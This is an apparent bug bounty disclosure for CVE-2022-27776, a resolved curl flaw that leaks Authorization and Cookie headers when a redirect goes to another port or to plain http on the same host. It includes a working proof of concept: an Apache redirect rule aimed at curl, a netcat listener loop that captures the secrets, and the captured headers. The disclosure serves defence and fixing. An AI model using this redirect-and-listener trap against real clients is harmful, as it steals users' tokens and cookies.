CVE-2022-27776: Auth/cookie leak on redirect
Low
Vulnerability Details
## Summary:
curl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).
## Steps To Reproduce:
1. Configure for example Apache2 to perform redirect with mod_rewrite:
```
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
```
... the attacker could also use `.htpasswd` file to do so.
2. Set up netcat to listen for the incoming secrets:
`while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done`
3. `curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc`
The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:
```
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
```
The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.
This vulnerability is quite similar to `CVE-2022-27774` and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.
This bug appears to be at:
- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904
- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850
## Impact
Leak of Authorization and/or Cookie headers.
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- Report ID: 1551591
- State: Closed
- Substate: resolved
- Upvotes: 23